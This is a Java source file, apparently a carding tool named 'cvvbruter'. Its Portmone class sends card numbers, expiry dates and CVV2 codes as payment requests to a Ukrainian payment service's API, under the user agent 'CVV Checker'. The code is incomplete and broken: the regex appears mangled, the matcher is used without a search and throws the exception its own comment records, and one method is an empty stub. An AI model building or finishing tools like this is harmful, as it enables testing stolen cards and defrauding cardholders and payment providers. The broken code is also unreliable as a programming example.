package cvvbruter; import java.io.BufferedReader; import java.io.DataOutputStream; import java.io.IOException; import java.io.InputStreamReader; import java.net.MalformedURLException; import java.net.ProtocolException; import java.net.URL; import java.util.regex.Matcher; import java.util.regex.Pattern; import javax.net.ssl.HttpsURLConnection; public class Portmone { protected final String _API_ = "https://www.portmone.com.ua/r3/ru/api/index/index/uid/d75c995c18fdc7b4b4f1217669138944"; protected final String _REQUEST_ACCOUNT_ = "addBalanceByRequest{_LOGIN_}{_PASSWORD_}{_CARD_ID_}{_CVV_}{_PAID_}{_NUMBER_ID_}"; protected final String _PAY_ = "pay{_COMPANY_ID_}{_CARD_NUMBER_}{_CARD_EXPIRE_}{_CARD_CVV_}{_PAID_}{_NUMBER_}"; protected final Pattern str = Pattern.compile("(.*?)"); public String pay(String card, String expire, String cvv2, String company, String paid, String number) { String req = this.sendPost(this._API_, this._PAY_ .replace("{_COMPANY_ID_}", company) .replace("{_CARD_NUMBER_}", card) .replace("{_CARD_EXPIRE_}", expire) .replace("{_CARD_CVV_}", cvv2) .replace("{_PAID_}", paid) .replace("{_NUMBER_}", number) ); //faultCode0faultStringНесуществующий номер телефона. [Телефон/контракт=987624511] Matcher m = str.matcher(req); return m.group(0); //Exception in thread "main" java.lang.IllegalStateException: No match found } public String payAccount(String login, String password, String card, String cvv2, String paid, String number) { return ""; } protected String sendPost(String uri, String data) { URL url = null; HttpsURLConnection conn = null; DataOutputStream output = null; StringBuilder resp = new StringBuilder(); try { url = new URL(uri); } catch (MalformedURLException ex) { ex.printStackTrace(); } try { conn = (HttpsURLConnection) url.openConnection(); } catch (IOException ex) { ex.printStackTrace(); } try { conn.setRequestMethod("POST"); } catch (ProtocolException ex) { ex.printStackTrace(); } conn.setRequestProperty("Content-length", String.valueOf(data.length())); conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); conn.setRequestProperty("User-Agent", "CVV Checker"); conn.setDoOutput(true); conn.setDoInput(true); try { output = new DataOutputStream(conn.getOutputStream()); output.writeBytes(data); output.close(); InputStreamReader i = new InputStreamReader(conn.getInputStream(), "UTF-8"); BufferedReader input = new BufferedReader(i); for(int c = input.read(); c != -1; c = input.read()) resp.append((char) c); input.close(); } catch (IOException ex) { ex.printStackTrace(); } return resp.toString(); } }